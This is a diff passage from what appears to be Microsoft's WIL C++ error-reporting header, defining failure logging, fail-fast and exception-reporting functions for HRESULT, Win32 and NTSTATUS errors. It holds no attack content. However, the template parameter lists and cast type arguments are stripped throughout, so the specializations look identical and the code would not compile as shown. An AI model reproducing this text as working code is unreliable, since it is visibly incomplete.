LogFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message, + bool fWantDebugString, _Out_writes_(debugStringSizeChars) _Post_z_ PWSTR debugString, _Pre_satisfies_(debugStringSizeChars > 0) size_t debugStringSizeChars, + _Out_writes_(callContextStringSizeChars) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringSizeChars > 0) size_t callContextStringSizeChars, + _Out_ FailureInfo *failure) WI_NOEXCEPT + { + debugString[0] = L'\0'; + callContextString[0] = L'\0'; + + static long volatile s_failureId = 0; + + int failureCount = 0; + switch (type) + { + case FailureType::Exception: + failureCount = RecordException(hr); + break; + case FailureType::Return: + failureCount = RecordReturn(hr); + break; + case FailureType::Log: + if (SUCCEEDED(hr)) + { + // If you hit this assert (or are reviewing this failure telemetry), then most likely you are trying to log success + // using one of the WIL macros. Example: + // LOG_HR(S_OK); + // Instead, use one of the forms that conditionally logs based upon the error condition: + // LOG_IF_FAILED(hr); + + WI_USAGE_ERROR_FORWARD("CALLER BUG: Macro usage error detected. Do not LOG_XXX success."); + hr = __HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE); + } + failureCount = RecordLog(hr); + break; + case FailureType::FailFast: + failureCount = RecordFailFast(hr); + break; + }; + + failure->type = type; + failure->hr = hr; + failure->failureId = ::InterlockedIncrementNoFence(&s_failureId); + failure->pszMessage = ((message != nullptr) && (message[0] != L'\0')) ? message : nullptr; + failure->threadId = ::GetCurrentThreadId(); + failure->pszFile = fileName; + failure->uLineNumber = lineNumber; + failure->cFailureCount = failureCount; + failure->pszCode = code; + failure->pszFunction = functionName; + failure->returnAddress = returnAddress; + failure->callerReturnAddress = callerReturnAddress; + failure->pszCallContext = nullptr; + ::ZeroMemory(&failure->callContextCurrent, sizeof(failure->callContextCurrent)); + ::ZeroMemory(&failure->callContextOriginating, sizeof(failure->callContextOriginating)); + failure->pszModule = (g_pfnGetModuleName != nullptr) ? g_pfnGetModuleName() : nullptr; + + // Completes filling out failure, notifies thread-based callbacks and the telemetry callback + if (details::g_pfnGetContextAndNotifyFailure) + { + details::g_pfnGetContextAndNotifyFailure(failure, callContextString, callContextStringSizeChars); + } + + // Allow hooks to inspect the failure before acting upon it + if (details::g_pfnLoggingCallback) + { + details::g_pfnLoggingCallback(*failure); + } + + // If the hook is enabled then it will be given the opportunity to call RoOriginateError to greatly improve the diagnostic experience + // for uncaught exceptions. In cases where we will be throwing a C++/CX Platform::Exception we should avoid originating because the + // CX runtime will be doing that for us. fWantDebugString is only set to true when the caller will be throwing a Platform::Exception. + if (details::g_pfnOriginateCallback && !fWantDebugString) + { + details::g_pfnOriginateCallback(*failure); + } + + if (SUCCEEDED(failure->hr)) + { + // Caller bug: Leaking a success code into a failure-only function + FAIL_FAST_IMMEDIATE_IF(type != FailureType::FailFast); + failure->hr = E_UNEXPECTED; + } + + bool const fUseOutputDebugString = IsDebuggerPresent() && g_fResultOutputDebugString; + + // We need to generate the logging message if: + // * We're logging to OutputDebugString + // * OR the caller asked us to (generally for attaching to a C++/CX exception) + if (fWantDebugString || fUseOutputDebugString) + { + // Call the logging callback (if present) to allow them to generate the debug string that will be pushed to the console + // or the platform exception object if the caller desires it. + if ((g_pfnResultLoggingCallback != nullptr) && !g_resultMessageCallbackSet) + { + g_pfnResultLoggingCallback(failure, debugString, debugStringSizeChars); + } + + // The callback only optionally needs to supply the debug string -- if the callback didn't populate it, yet we still want + // it for OutputDebugString or exception message, then generate the default string. + if (debugString[0] == L'\0') + { + GetFailureLogString(debugString, debugStringSizeChars, *failure); + } + + if (fUseOutputDebugString) + { + ::OutputDebugStringW(debugString); + } + } + else + { + // [deprecated behavior] + // This callback was at one point *always* called for all failures, so we continue to call it for failures even when we don't + // need to generate the debug string information (when the callback was supplied directly). We can avoid this if the caller + // used the explicit function (through g_resultMessageCallbackSet) + if ((g_pfnResultLoggingCallback != nullptr) && !g_resultMessageCallbackSet) + { + g_pfnResultLoggingCallback(failure, nullptr, 0); + } + } + + if (g_fBreakOnFailure && (g_pfnDebugBreak != nullptr)) + { + g_pfnDebugBreak(); + } + } + + inline RESULT_NORETURN void __stdcall WilFailFast(const wil::FailureInfo& failure) + { + if (g_pfnWilFailFast) + { + g_pfnWilFailFast(failure); + } + +#ifdef RESULT_RAISE_FAST_FAIL_EXCEPTION + // Use of this macro is an ODR violation - use the callback instead. This will be removed soon. + RESULT_RAISE_FAST_FAIL_EXCEPTION; +#endif + + // Before we fail fast in this method, give the [optional] RoFailFastWithErrorContext a try. + if (g_pfnFailfastWithContextCallback) + { + g_pfnFailfastWithContextCallback(failure); + } + + // parameter 0 is the !analyze code (FAST_FAIL_FATAL_APP_EXIT) + EXCEPTION_RECORD er{}; + er.NumberParameters = 1; // default to be safe, see below + er.ExceptionCode = static_cast(STATUS_STACK_BUFFER_OVERRUN); // 0xC0000409 + er.ExceptionFlags = EXCEPTION_NONCONTINUABLE; + er.ExceptionInformation[0] = FAST_FAIL_FATAL_APP_EXIT; // see winnt.h, generated from minkernel\published\base\ntrtl_x.w + if (failure.returnAddress == 0) // FailureInfo does not have _ReturnAddress, have RaiseFailFastException generate it + { + // passing ExceptionCode 0xC0000409 and one param with FAST_FAIL_APP_EXIT will use existing + // !analyze functionality to crawl the stack looking for the HRESULT + // don't pass a 0 HRESULT in param 1 because that will result in worse bucketing. + WilRaiseFailFastException(&er, nullptr, FAIL_FAST_GENERATE_EXCEPTION_ADDRESS); + } + else // use FailureInfo caller address + { + // parameter 1 is the failing HRESULT + // parameter 2 is the line number. This is never used for bucketing (due to code churn causing re-bucketing) but is available in the dump's + // exception record to aid in failure locality. Putting it here prevents it from being poisoned in triage dumps. + er.NumberParameters = 3; + er.ExceptionInformation[1] = failure.hr; + er.ExceptionInformation[2] = failure.uLineNumber; + er.ExceptionAddress = failure.returnAddress; + WilRaiseFailFastException(&er, nullptr, 0 /* do not generate exception address */); + } + } + + template + inline __declspec(noinline) void ReportFailure_Return(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options) + { + bool needPlatformException = ((T == FailureType::Exception) && + WI_IsFlagClear(options, ReportFailureOptions::MayRethrow) && + (g_pfnThrowPlatformException != nullptr) && + (g_fResultThrowPlatformException || WI_IsFlagSet(options, ReportFailureOptions::ForcePlatformException))); + + FailureInfo failure; + wchar_t debugString[2048]; + char callContextString[1024]; + + LogFailure(__R_FN_CALL_FULL, T, hr, message, needPlatformException, + debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure); + } + + template + inline __declspec(noinline) void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options) + { + ReportFailure_Return(__R_FN_CALL_FULL, hr, message, options); + } + + template + inline __declspec(noinline) RESULT_NORETURN void ReportFailure_NoReturn(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options) + { + bool needPlatformException = ((T == FailureType::Exception) && + WI_IsFlagClear(options, ReportFailureOptions::MayRethrow) && + (g_pfnThrowPlatformException != nullptr) && + (g_fResultThrowPlatformException || WI_IsFlagSet(options, ReportFailureOptions::ForcePlatformException))); + + FailureInfo failure; + wchar_t debugString[2048]; + char callContextString[1024]; + + LogFailure(__R_FN_CALL_FULL, T, hr, message, needPlatformException, + debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure); +__WI_SUPPRESS_4127_S + if (T == FailureType::FailFast) + { + WilFailFast(const_cast(failure)); + } + else + { + if (needPlatformException) + { + g_pfnThrowPlatformException(failure, debugString); + } + + if (WI_IsFlagSet(options, ReportFailureOptions::MayRethrow)) + { + RethrowCaughtException(); + } + + ThrowResultException(failure); + + // Wil was instructed to throw, but doesn't have any capability to do so (global function pointers are not setup) + WilFailFast(const_cast(failure)); + } +__WI_SUPPRESS_4127_E + } + + template<> + inline __declspec(noinline) RESULT_NORETURN void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options) + { + ReportFailure_NoReturn(__R_FN_CALL_FULL, hr, message, options); + } + + template<> + inline __declspec(noinline) RESULT_NORETURN void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, PCWSTR message, ReportFailureOptions options) + { + ReportFailure_NoReturn(__R_FN_CALL_FULL, hr, message, options); + } + + __declspec(noinline) inline void ReportFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message, ReportFailureOptions options) + { + switch(type) + { + case FailureType::Exception: + ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options); + break; + case FailureType::FailFast: + ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options); + break; + case FailureType::Log: + ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options); + break; + case FailureType::Return: + ReportFailure_Base(__R_FN_CALL_FULL, hr, message, options); + break; + } + } + + template + inline HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported) + { + bool isNormalized = false; + auto length = wcslen(debugString); + WI_ASSERT(length < debugStringChars); + HRESULT hr = S_OK; + if (details::g_pfnResultFromCaughtExceptionInternal) + { + hr = details::g_pfnResultFromCaughtExceptionInternal(debugString + length, debugStringChars - length, &isNormalized); + } + + const bool known = (FAILED(hr)); + if (!known) + { + hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + + ReportFailureOptions options = ReportFailureOptions::ForcePlatformException; + WI_SetFlagIf(options, ReportFailureOptions::MayRethrow, isNormalized); + + if ((supported == SupportedExceptions::None) || + ((supported == SupportedExceptions::Known) && !known) || + ((supported == SupportedExceptions::Thrown) && !isNormalized) || + ((supported == SupportedExceptions::Default) && !known && g_fResultFailFastUnknownExceptions)) + { + // By default WIL will issue a fail fast for unrecognized exception types. Wil recognizes any std::exception or wil::ResultException based + // types and Platform::Exception^, so there aren't too many valid exception types which could cause this. Those that are valid, should be handled + // by remapping the exception callback. Those that are not valid should be found and fixed (meaningless accidents like 'throw hr;'). + // The caller may also be requesting non-default behavior to fail-fast more frequently (primarily for debugging unknown exceptions). + ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options); + } + else + { + ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options); + } + + return hr; + } + + template + inline HRESULT RESULT_NORETURN ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported) + { + bool isNormalized = false; + const auto length = wcslen(debugString); + WI_ASSERT(length < debugStringChars); + HRESULT hr = S_OK; + if (details::g_pfnResultFromCaughtExceptionInternal) + { + hr = details::g_pfnResultFromCaughtExceptionInternal(debugString + length, debugStringChars - length, &isNormalized); + } + + const bool known = (FAILED(hr)); + if (!known) + { + hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + + ReportFailureOptions options = ReportFailureOptions::ForcePlatformException; + WI_SetFlagIf(options, ReportFailureOptions::MayRethrow, isNormalized); + + if ((supported == SupportedExceptions::None) || + ((supported == SupportedExceptions::Known) && !known) || + ((supported == SupportedExceptions::Thrown) && !isNormalized) || + ((supported == SupportedExceptions::Default) && !known && g_fResultFailFastUnknownExceptions)) + { + // By default WIL will issue a fail fast for unrecognized exception types. Wil recognizes any std::exception or wil::ResultException based + // types and Platform::Exception^, so there aren't too many valid exception types which could cause this. Those that are valid, should be handled + // by remapping the exception callback. Those that are not valid should be found and fixed (meaningless accidents like 'throw hr;'). + // The caller may also be requesting non-default behavior to fail-fast more frequently (primarily for debugging unknown exceptions). + ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options); + } + else + { + ReportFailure_Base(__R_FN_CALL_FULL, hr, debugString, options); + } + + RESULT_NORETURN_RESULT(hr); + } + + template<> + inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported) + { + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_CALL_FULL, debugString, debugStringChars, supported)); + } + + template<> + inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionCommon(__R_FN_PARAMS_FULL, _Inout_updates_(debugStringChars) PWSTR debugString, _Pre_satisfies_(debugStringChars > 0) size_t debugStringChars, SupportedExceptions supported) + { + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommonNoReturnBase(__R_FN_CALL_FULL, debugString, debugStringChars, supported)); + } + + template + inline void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + ReportFailure_Base(__R_FN_CALL_FULL, hr, message); + } + + template<> + inline RESULT_NORETURN void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + ReportFailure_Base(__R_FN_CALL_FULL, hr, message); + } + + template<> + inline RESULT_NORETURN void ReportFailure_Msg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + ReportFailure_Base(__R_FN_CALL_FULL, hr, message); + } + + template + inline void ReportFailure_ReplaceMsg(__R_FN_PARAMS_FULL, HRESULT hr, PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + } + + template + __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr) + { + ReportFailure_Base(__R_FN_CALL_FULL, hr); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr) + { + ReportFailure_Base(__R_FN_CALL_FULL, hr); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr) + { + ReportFailure_Base(__R_FN_CALL_FULL, hr); + } + + __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr) + { + switch(type) + { + case FailureType::Exception: + ReportFailure_Hr(__R_FN_CALL_FULL, hr); + break; + case FailureType::FailFast: + ReportFailure_Hr(__R_FN_CALL_FULL, hr); + break; + case FailureType::Log: + ReportFailure_Hr(__R_FN_CALL_FULL, hr); + break; + case FailureType::Return: + ReportFailure_Hr(__R_FN_CALL_FULL, hr); + break; + } + } + + template + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err) + { + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + return hr; + } + + template<> + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err) + { + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32(__R_FN_PARAMS_FULL, DWORD err) + { + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template + __declspec(noinline) inline DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL) + { + const auto err = GetLastErrorFail(__R_FN_CALL_FULL); + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + return err; + } + + template<> + __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL) + { + const auto err = GetLastErrorFail(__R_FN_CALL_FULL); + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(err); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastError(__R_FN_PARAMS_FULL) + { + const auto err = GetLastErrorFail(__R_FN_CALL_FULL); + const auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(err); + } + + template + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL) + { + const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + return hr; + } + + template<> + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL) + { + const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHr(__R_FN_PARAMS_FULL) + { + const auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status) + { + const auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + return hr; + } + + template<> + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status) + { + const auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatus(__R_FN_PARAMS_FULL, NTSTATUS status) + { + const auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Base(__R_FN_CALL_FULL, hr); + RESULT_NORETURN_RESULT(hr); + } + + template + __declspec(noinline) inline HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported) + { + wchar_t message[2048]; + message[0] = L'\0'; + return ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported) + { + wchar_t message[2048]; + message[0] = L'\0'; + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported)); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported) + { + wchar_t message[2048]; + message[0] = L'\0'; + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), supported)); + } + + template + __declspec(noinline) inline void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN void ReportFailure_HrMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + } + + template + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + return hr; + } + + template<> + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_Win32Msg(__R_FN_PARAMS_FULL, DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template + __declspec(noinline) inline DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto err = GetLastErrorFail(__R_FN_CALL_FULL); + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + return err; + } + + template<> + __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto err = GetLastErrorFail(__R_FN_CALL_FULL); + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(err); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto err = GetLastErrorFail(__R_FN_CALL_FULL); + auto hr = __HRESULT_FROM_WIN32(err); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(err); + } + + template + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + return hr; + } + + template<> + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_last_error_to_HRESULT_ + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + return hr; + } + + template<> + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template<> + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) + { + auto hr = wil::details::NtStatusToHr(status); + ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList); + RESULT_NORETURN_RESULT(hr); + } + + template + __declspec(noinline) inline HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + // Pre-populate the buffer with our message, the exception message will be added to it... + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + StringCchCatW(message, ARRAYSIZE(message), L" -- "); + return ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + // Pre-populate the buffer with our message, the exception message will be added to it... + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + StringCchCatW(message, ARRAYSIZE(message), L" -- "); + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default)); + } + + template<> + __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList) + { + // Pre-populate the buffer with our message, the exception message will be added to it... + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + StringCchCatW(message, ARRAYSIZE(message), L" -- "); + RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default)); + } + + + //***************************************************************************** + // Support for throwing custom exception types + //***************************************************************************** + +#ifdef WIL_ENABLE_EXCEPTIONS + inline HRESULT GetErrorCode(_In_ ResultException &exception) WI_NOEXCEPT + { + return exception.GetErrorCode(); + } + + inline void SetFailureInfo(_In_ FailureInfo const &failure, _Inout_ ResultException &exception) WI_NOEXCEPT + { + return exception.SetFailureInfo(failure); + } + +#ifdef __cplusplus_winrt + inline HRESULT GetErrorCode(_In_ Platform::Exception^ exception) WI_NOEXCEPT + { + return exception->HResult; + } + + inline void SetFailureInfo(_In_ FailureInfo const &, _Inout_ Platform::Exception^ exception) WI_NOEXCEPT + { + // no-op -- once a PlatformException^ is created, we can't modify the message, but this function must + // exist to distinguish this from ResultException + } +#endif + + template + RESULT_NORETURN inline void ReportFailure_CustomExceptionHelper(_Inout_ T &exception, __R_FN_PARAMS_FULL, _In_opt_ PCWSTR message = nullptr) + { + // When seeing the error: "cannot convert parameter 1 from 'XXX' to 'wil::ResultException &'" + // Custom exceptions must be based upon either ResultException or Platform::Exception^ to be used with ResultException.h. + // This compilation error indicates an attempt to throw an incompatible exception type. + const HRESULT hr = GetErrorCode(exception); + + FailureInfo failure; + wchar_t debugString[2048]; + char callContextString[1024]; + + LogFailure(__R_FN_CALL_FULL, FailureType::Exception, hr, message, false, // false = does not need debug string + debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure); + + // push the failure info context into the custom exception class + SetFailureInfo(failure, exception); + + throw exception; + } + + template + __declspec(noreturn, noinline) inline void ReportFailure_CustomException(__R_FN_PARAMS _In_ T exception) + { + __R_FN_LOCALS_RA; + ReportFailure_CustomExceptionHelper(exception, __R_FN_CALL_FULL); + } + + template + __declspec(noreturn, noinline) inline void ReportFailure_CustomExceptionMsg(__R_FN_PARAMS _In_ T exception, _In_ _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + wchar_t message[2048]; + PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList); + + __R_FN_LOCALS_RA; + ReportFailure_CustomExceptionHelper(exception, __R_FN_CALL_FULL, message); + } +#endif + + namespace __R_NS_NAME + { + //***************************************************************************** + // Return Macros + //***************************************************************************** + + __R_DIRECT_METHOD(void, Return_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr); + } + + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __R_DIRECT_METHOD(HRESULT, Return_Win32)(__R_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err); + } + + _Success_(true) + _Translates_last_error_to_HRESULT_ + __R_DIRECT_METHOD(HRESULT, Return_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY) 